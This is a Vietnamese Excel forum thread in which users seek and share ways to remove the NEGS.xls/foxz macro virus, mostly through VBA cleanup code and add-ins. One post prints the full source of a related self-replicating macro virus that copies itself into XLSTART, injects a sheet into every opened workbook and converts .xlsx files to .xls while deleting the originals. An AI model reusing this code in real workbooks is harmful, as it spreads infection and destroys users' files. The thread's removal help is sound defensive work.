Virus NEGS.xls và macro foxz (1 người xem)

  • Thread starter Thread starter trungce
  • Ngày gửi Ngày gửi
Liên hệ QC

Người dùng đang xem chủ đề này

Đang trực tuyến: 1 (Thành viên: 0, Khách: 1)
T

trungce

Thành viên mới
Tham gia
3/3/14
Bài viết
2
Được thích
0
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
 

File đính kèm

  • Zalo_ScreenShot_13_6_2019_631793.png
    Zalo_ScreenShot_13_6_2019_631793.png
    107.7 KB · Đọc: 134
  • Zalo_ScreenShot_13_6_2019_646401.png
    Zalo_ScreenShot_13_6_2019_646401.png
    23.5 KB · Đọc: 139
Sắp xếp theo thời gian sắp xếp theo bầu chọn
Bạn thử xem bài này:
www.giaiphapexcel.com

Có file lạ ăn bám theo Excel

Tôi tải 1 file trên GPE, bây giờ mỗi lần mở 1 file Excel nào bất kỳ, khi vào VBE cũng thấy "1 thằng lạ mặt - NEGS.XLS", đã diệt Virus - Xóa được Module của nó - mà nó cứ còn hiện diện. Phải làm sao bây giờ? Tìm khắp ổ đĩa cũng không thấy nó. Nhờ các bạn chỉ cách xóa nó cho "phẻ trong mình" một chút.
www.giaiphapexcel.com www.giaiphapexcel.com
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
 
Upvote 0
Hình như cái này đã bàn rồi cách đây 2 năm.
Chỉ là cái anh chàng Tờ Quờ Nờ ấy giải đáp bằng cái link tiếng Tây, đọc muốn toé con mắt.
 
Upvote 0
Virus negs.xls này có thể được diệt triệt để bằng KIS bản mới nhất, không cần vào xóa các file gốc trong START.

Đoạn code phía trên trước đây mình đã thử nhưng ko thành công.

Cuối cùng mình gỡ Office 2010 và cài Office 2016 thì đã removed được con foxz này. Cảm ơn anh em trong diễn đàn.
 
Upvote 0
trungce đã viết:
Virus negs.xls này có thể được diệt triệt để bằng KIS bản mới nhất, không cần vào xóa các file gốc trong START.

Đoạn code phía trên trước đây mình đã thử nhưng ko thành công.

Cuối cùng mình gỡ Office 2010 và cài Office 2016 thì đã removed được con foxz này. Cảm ơn anh em trong diễn đàn.
Nhấp chuột vào đây để mở rộng...
Với bài #3 của huuthang_bd, bạn không cần phải cài KIS và cũng không cần phải cài lại Office nha bạn.
 
Upvote 0
Upvote 0

File đính kèm

  • chup 1.png
    chup 1.png
    151.6 KB · Đọc: 115
Upvote 0
Upvote 0
Hoàng Trọng Nghĩa đã viết:
Bạn tạo một Module mới, rồi dán vào thủ tục trên, sau đó cho nó chạy. Chứ không phải bạn dán vô ThisWorkbook.
Nhấp chuột vào đây để mở rộng...
Em làm như anh hướng dẫn, 2 con virut đó vẫn trong code, giờ e cứ lập file mới đều bị, e phải copy hết ra cũng vẫn dính theo. Giúp em với.
 

File đính kèm

  • chup anh.jpg
    chup anh.jpg
    246 KB · Đọc: 83
Upvote 0
Hoàng Trọng Nghĩa đã viết:
Với bài #3 của huuthang_bd, bạn không cần phải cài KIS và cũng không cần phải cài lại Office nha bạn.
Nhấp chuột vào đây để mở rộng...
Tình hình sau 1 thời gian e diệt thủ công con virut trên, nó lan tỏa rộng quá anh ơi, cứ làm 1 file mới excel lại bị virut vào file anh ạ. Giúp em với. Giờ nó nhân rộng khắp máy tính em làm rồi ạ. E nhiều dữ liệu em sợ bị mất lắm.
 

File đính kèm

  • foxz va Negs xls.png
    foxz va Negs xls.png
    157.4 KB · Đọc: 38
  • virut foxz.png
    virut foxz.png
    161.4 KB · Đọc: 30
Upvote 0
Kieutri đã viết:
Tình hình sau 1 thời gian e diệt thủ công con virut trên, nó lan tỏa rộng quá anh ơi, cứ làm 1 file mới excel lại bị virut vào file anh ạ. Giúp em với. Giờ nó nhân rộng khắp máy tính em làm rồi ạ. E nhiều dữ liệu em sợ bị mất lắm.
Nhấp chuột vào đây để mở rộng...
Máy tôi cũng bị "lây bệnh" file bạn rồi.
Cố gắng tự bảo vệ mình.
 
Upvote 0
Con này code = VBA, code rành rành ra đó, chịu khó bỏ 1 chút thời gian đọc code của nó thì sẽ hiểu nó làm gì mà, rồi sẽ biết cách remove nó.
Cần gì tool, AV hay cài lại Office chi trời.
 
Upvote 0
huuthang_bd đã viết:
Chắc phải tạo 1 addin cho code chạy khi mở file thì mới diệt hết được.
Nhấp chuột vào đây để mở rộng...
Tạm thời em tạo một File có đoạn co de ở bài #3 và copy File ấy cho vào thư mục XLSTART của Excel
C:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART.
Anh Thắng cho vào Addin để diệt với
Virus này lây lan cấp số cộng lên không ngại lắm
 
Upvote 0
huuthang_bd đã viết:
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Nhấp chuột vào đây để mở rộng...
Đang đau đầu vì cái con virut này thì đọc được bài của bạn. Mình đã làm và thành công. Cám ơn bạn @huuthang_bd
 
Upvote 0
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c
 
Upvote 0
huysolid đã viết:
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c
Nhấp chuột vào đây để mở rộng...
Thử cách này xem:
Vào VBE cho chạy đoạn code sau:
Mã: 
Sub Test()
    MsgBox Application.Path & "\XLSTART\"
End Sub
Nhìn xem đường dẫn trong đó là gì và Mở Explorer lên và tìm đến đường dẫn nhìn thấy trong Msgbox.
Đóng Excel lại và xóa file mypersonel.xls trong thư mục XLSTART. Khởi động lại Excel và xem thử còn bị không?
 
Upvote 0
Dạ em xin cám ơn. File mở ko bị nữa . Xin Cảm Ơn.
 
Upvote 0
huysolid đã viết:
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c
Nhấp chuột vào đây để mở rộng...

Con virus lởm này giờ đã biến hình, nó kiểm soát cả đuôi xlsx nữa :)
 
Upvote 0
mình cũng bị mắc con virus mypersonnel.xls (kangantang) này. Dù đã xóa nó đi như các hướng dẫn bên trên nhưng nó vẫn quay lại sau 1 chút thời gian.
Và vấn đề nếu quét virus bằng KIS thì sẽ khiến cho file excel bị mất dữ liệu, đó là điều mình không mong muốn.
Rất mong mọi người trên diễn đàn này nếu biết có thể giúp đỡ hướng dẫn diệt con virus này và có thể giữ được giữ liệu.
 
Upvote 0
trungce đã viết:
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
Nhấp chuột vào đây để mở rộng...
Sub KillIt()
Application.DisplayAlerts = False
With Workbooks("NEGS.XLS")
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close False
End With
Application.DisplayAlerts = True
End Sub

hôm trước mình chạy code phát được luôn này. Thử xem thế nào
 
Upvote 0
huuthang_bd đã viết:
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Nhấp chuột vào đây để mở rộng...
Cảm ơn anh. Em dùng code của anh đã diệt được nó rồi. Nó còn đẻ lại thêm mấy cái sheet ẩn 1 số file excel mà lỡ quan hệ với nó. Em mở Alt F11 mới thấy, rồi lại phải xóa tay mấy sheet đó. Nói chung đã diệt được nó.

Cảm ơn anh @Phuocam đã dẫn link bài này luôn nhé.
 
Upvote 0
trungce đã viết:
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
Nhấp chuột vào đây để mở rộng...
Bạn mở phần mềm này của win lên quét là hết, mình mới sài hôm qua xong quét hết sạch tận gốc luôn file NEGS và foxz nó lưu mấy chỗ liền

1641172094678.png

Sài thêm phần mềm này của anh Nguyễn Duy Tuân, những file đính kèm virus sẽ loại bỏ hết khi bật file tránh lây lan

CÔNG TY CỔ PHẦN BLUESOFTS

bluesofts.net bluesofts.net

1641172363421.png
 
Upvote 0
Hoàng Tuấn 868 đã viết:
Tùy trường hợp thôi bạn, không phải trường hợp nào cũng hết được.
Nhấp chuột vào đây để mở rộng...
update cái diệt virus ở win nó cập nhật rồi bạn, xóa được gốc file nó lưu ở phần khởi động cùng excel. còn file đính kèm thì dùng phần mềm của anh Nguyễn Duy Tuân là hết đấy bạn. mình sử lý cho nhiều máy rồi.
 
Upvote 0
vova2209 đã viết:
update cái diệt virus ở win nó cập nhật rồi bạn, xóa được gốc file nó lưu ở phần khởi động cùng excel. còn file đính kèm thì dùng phần mềm của anh Nguyễn Duy Tuân là hết đấy bạn. mình sử lý cho nhiều máy rồi.
Nhấp chuột vào đây để mở rộng...
gửi cho mình cái phần mềm của NDT cái bạn
 
Upvote 0
xuongrongdat đã viết:
Hôm nay mình lại dính con này nữa, bực mình ghê! Đang cho chạy cái Windows Defender của Win 7. Không biết lát có diệt được không nữa.
Nhấp chuột vào đây để mở rộng...
hihi! dùng cái diệt macro trên là là được đấy bạn, trước tiên ấn Ctrl+f3 xóa hết name lỗi trước
 
Upvote 0
vova2209 đã viết:
hihi! dùng cái diệt macro trên là là được đấy bạn, trước tiên ấn Ctrl+f3 xóa hết name lỗi trước
Nhấp chuột vào đây để mở rộng...
File đính kèm của NDT bạn up đó hả?

Cái WD win 7 của mình nó vô dụng ghê, hihi. Chạy full xong mà vào Excel vẫn còn tụi Neg với foxz. :|

1649820924893.png
 
Upvote 0
Upvote 0
vova2209 đã viết:
đúng rồi bạn! tải về cài đặt lên là diệt được bạn ạ
Nhấp chuột vào đây để mở rộng...
Diệt được macro NEG nhưng không xóa được các sheet ẩn fox đó bạn.
Mình phải vào xóa tay bằng 1 đoạn code VBA của anh Quang Hải mới được, híc.
1649823186009.png
Tức thiệt.
 
Upvote 0
vova2209 đã viết:
gửi file đây mình diệt cho
Nhấp chuột vào đây để mở rộng...
Mình biết gửi file nào cho bạn giờ.
File nào mở lên mình Alt F11 kiểm tra mà xuất hiện sheet ẩn foxz thì mình tự xóa tay được rồi. Cảm ơn bạn nhiều nhé!
Mà giờ mỗi lần mở file Excel bất kỳ thì nó sẽ chạy cái add-in NDT hay gì á, mất 1 nhịp !
 
Upvote 0
xuongrongdat đã viết:
Mình biết gửi file nào cho bạn giờ.
File nào mở lên mình Alt F11 kiểm tra mà xuất hiện sheet ẩn foxz thì mình tự xóa tay được rồi. Cảm ơn bạn nhiều nhé!
Mà giờ mỗi lần mở file Excel bất kỳ thì nó sẽ chạy cái add-in NDT hay gì á, mất 1 nhịp !
Nhấp chuột vào đây để mở rộng...
file của bạn chứa nhiều name lỗi quá đấy nên nặng file. Mình xóa tay trước xong mới cho chạy NDT thì file sạch sẽ.. chỉ làm 1 lần thôi bạn ạ.
 
Upvote 0
vova2209 đã viết:
file của bạn chứa nhiều name lỗi quá đấy nên nặng file. Mình xóa tay trước xong mới cho chạy NDT thì file sạch sẽ.. chỉ làm 1 lần thôi bạn ạ.
Nhấp chuột vào đây để mở rộng...
Bây giờ mình mở file nào lên mà có 2 con NEG với foxz đều bị tiêu diệu hết rồi. Cảm ơn bạn nhiều nhé!
 
Upvote 0
vova2209 đã viết:
file của bạn chứa nhiều name lỗi quá đấy nên nặng file. Mình xóa tay trước xong mới cho chạy NDT thì file sạch sẽ.. chỉ làm 1 lần thôi bạn ạ.
Nhấp chuột vào đây để mở rộng...
Giờ nó có hiện tượng này bạn. File nào mà có chứa Macro, sau khi mở lên, cái pm của NDT liền cảnh báo và xóa đi. Nhưng sau đó các file excel này đều tự sinh ra cái file .bak này nè. Ngộ ghê ! File sinh ra dung lượng còn nặng hơn file gốc nữa bạn.
1650270843622.png
 
Upvote 0
Thuốc chưa đủ vị nên bịnh vẫn còn.

Mà sao vẫn còn dùng file .xls nhiều vậy bạn?
 
Upvote 0
Upvote 0
Upvote 0
xuongrongdat đã viết:
Giờ nó có hiện tượng này bạn. File nào mà có chứa Macro, sau khi mở lên, cái pm của NDT liền cảnh báo và xóa đi. Nhưng sau đó các file excel này đều tự sinh ra cái file .bak này nè. Ngộ ghê ! File sinh ra dung lượng còn nặng hơn file gốc nữa bạn.
View attachment 274621
Nhấp chuột vào đây để mở rộng...
lúc hiện lên bảng nó có mục tạo file backup đó bạn, bỏ ô tích đó đi là được. tất cả các file nên xóa hết các name lỗi đi cho nhẹ, máy sạch sẽ.
 
Upvote 0
huuthang_bd đã viết:
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Nhấp chuột vào đây để mở rộng...
Code này là là để vào modun rồi chỉ chạy 1 lần là được hay mỗi lần mở file đều tạo 1 modun riêng cho file đó vậy bạn, vì mình tạo file mới vẫn bị
 
Upvote 0
timhocexcel đã viết:
Code này là là để vào modun rồi chỉ chạy 1 lần là được hay mỗi lần mở file đều tạo 1 modun riêng cho file đó vậy bạn, vì mình tạo file mới vẫn bị
Nhấp chuột vào đây để mở rộng...
Cài addin này nha bạn
www.giaiphapexcel.com

Add-in DeleteVirusMacro - Xóa và ngăn chặn virus macro

Virus macro tuy rất đơn giản nhưng nhiều người vẫn chưa biết cách phòng ngừa và xử lý khi máy tính bị nhiễm. Vì vậy tôi viết tặng mọi người add-in này, chức năng duy nhất của add-in này là xóa và ngăn chặn các loại virus macro. Lưu ý: Add-in sẽ xóa tất cả các sheet Macro4, sheet International...
www.giaiphapexcel.com www.giaiphapexcel.com
 
Upvote 0
huuthang_bd đã viết:
Cài addin này nha bạn
www.giaiphapexcel.com

Add-in DeleteVirusMacro - Xóa và ngăn chặn virus macro

Virus macro tuy rất đơn giản nhưng nhiều người vẫn chưa biết cách phòng ngừa và xử lý khi máy tính bị nhiễm. Vì vậy tôi viết tặng mọi người add-in này, chức năng duy nhất của add-in này là xóa và ngăn chặn các loại virus macro. Lưu ý: Add-in sẽ xóa tất cả các sheet Macro4, sheet International...
www.giaiphapexcel.com www.giaiphapexcel.com
Nhấp chuột vào đây để mở rộng...
Vâng, cảm ơn bạn nhe.
 
Upvote 0
huuthang_bd đã viết:
Cài addin này nha bạn
www.giaiphapexcel.com

Add-in DeleteVirusMacro - Xóa và ngăn chặn virus macro

Virus macro tuy rất đơn giản nhưng nhiều người vẫn chưa biết cách phòng ngừa và xử lý khi máy tính bị nhiễm. Vì vậy tôi viết tặng mọi người add-in này, chức năng duy nhất của add-in này là xóa và ngăn chặn các loại virus macro. Lưu ý: Add-in sẽ xóa tất cả các sheet Macro4, sheet International...
www.giaiphapexcel.com www.giaiphapexcel.com
Nhấp chuột vào đây để mở rộng...
Nếu mình không muốn chạy tự động với tất cả các file khi khởi động excel thì làm thế nào ạ. E muốn chạy addin với file bị nhiễm virus thôi ạ.
 
Upvote 0
vanchieugtvt đã viết:
Nếu mình không muốn chạy tự động với tất cả các file khi khởi động excel thì làm thế nào ạ. E muốn chạy addin với file bị nhiễm virus thôi ạ.
Nhấp chuột vào đây để mở rộng...
Là bạn biết file nào bị nhiễm rồi đúng không. Nếu vậy thì đừng cài Addin, chỉ mở addin lên sau đó mở file bị nhiễm virus. Làm xong thì đóng Excel.
 
Upvote 0
huuthang_bd đã viết:
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã: 
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Nhấp chuột vào đây để mở rộng...
Tuyệt vời, chạy 1 phát hết liền !
 
Upvote 0
Bạn phải đăng nhập hoặc đăng ký để trả lời bài viết tại đây.

Bài viết mới nhất

V
Quên mật khẩu file excel (2 người xem)
Trả lời
25
Đọc
2K
YêuCN
Y
Nguyen Rem
  • Question Question
Lỗi "User-defined type not defined" khi khai báo biến (1 người xem)
Trả lời
28
Đọc
2K
nguyendang95
N
E
Đánh số cho các cặp số chứng từ và số chứng từ đối ứng
Trả lời
13
Đọc
248
dazkangel
dazkangel
NguyenthiH
Mở file Excel có Pass Open (2 người xem)
Trả lời
37
Đọc
3K
kimthoa26
kimthoa26
T
Tìm số hóa đơn trong chuỗi
Trả lời
9
Đọc
365
thao nguyen01
T
OverAC
  • Dán lên cao
  • Suggestion Suggestion
Chúc mừng sinh nhật GiaiPhapExcel 19 tuổi và tặng ebook "Lập trình VBA phần cơ bản."
    • Thích
    • Yêu thích
Trả lời
5
Đọc
1K
longlacda
L
V
Công thức để phân công chuyên môn cho giáo viên
Trả lời
5
Đọc
271
vietvanyen
V
G
AddIn convert ngày dương lịch sang âm lịch và ngược lại + đọc ngày tháng (1 người xem)
Trả lời
20
Đọc
10K
du trung kien
D
8
Hàm trong excel
Trả lời
3
Đọc
66
Hoàng Tuấn 868
H
N
Chuyển giờ công từ bảng công vào bảng tính (1 người xem)
Trả lời
16
Đọc
292
ngouyen1505
N
N
Tạo COM Add-In bằng Visual C++
    • Thích
Trả lời
7
Đọc
667
nguyendang95
N
Nga1852k
lỗi excel không chèn được dòng và không xóa được dòng
Trả lời
2
Đọc
134
Nga1852k
Nga1852k
D
  • Question Question
xin các cao thủ trợ giúp , hoặc nhận làm code có trả phí ạ (1 người xem)
Trả lời
14
Đọc
1K
tung1423
tung1423
D
xin hỏi về lỗi mô đun ẩn.
Trả lời
3
Đọc
147
ongke0711
ongke0711
H
Xin anh chị hướng dẫn công thức excel ạ.
Trả lời
9
Đọc
297
Phan Thế Hiệp
Phan Thế Hiệp
ongke0711
  • Question Question
Tải hóa đơn điện tử (https://hoadondientu.gdt.gov.vn/) Excel Vba (1 người xem)
    • Thích
    • Yêu thích
    • Cảm ơn
2 3 4
Trả lời
381
Đọc
44K
tuanktt3
T
M
Add-in Excel kết nối cơ sở dữ liệu (1 người xem)
Trả lời
1
Đọc
113
ptm0412
ptm0412
Đ
tách dữ liệu từ một dòng thành hai dòng
Trả lời
2
Đọc
157
Phuocam
Phuocam
longhuy
Lỗi error 20728: F
Trả lời
0
Đọc
79
longhuy
longhuy
H
Trang tính chỉ hiển thị vùng có dữ liệu
Trả lời
7
Đọc
612
vinhkm6
vinhkm6
Xem thêm…

Thành viên có số lượng bài viết cao nhất tháng

Thành viên có điểm tương tác cao nhất tháng

Thời gian đếm ngược.

000
Ngày
00
Giờ
00
phút
00
giây
Thân mời tham dự sự kiện sinh nhật GPE 2025
Back
Top Bottom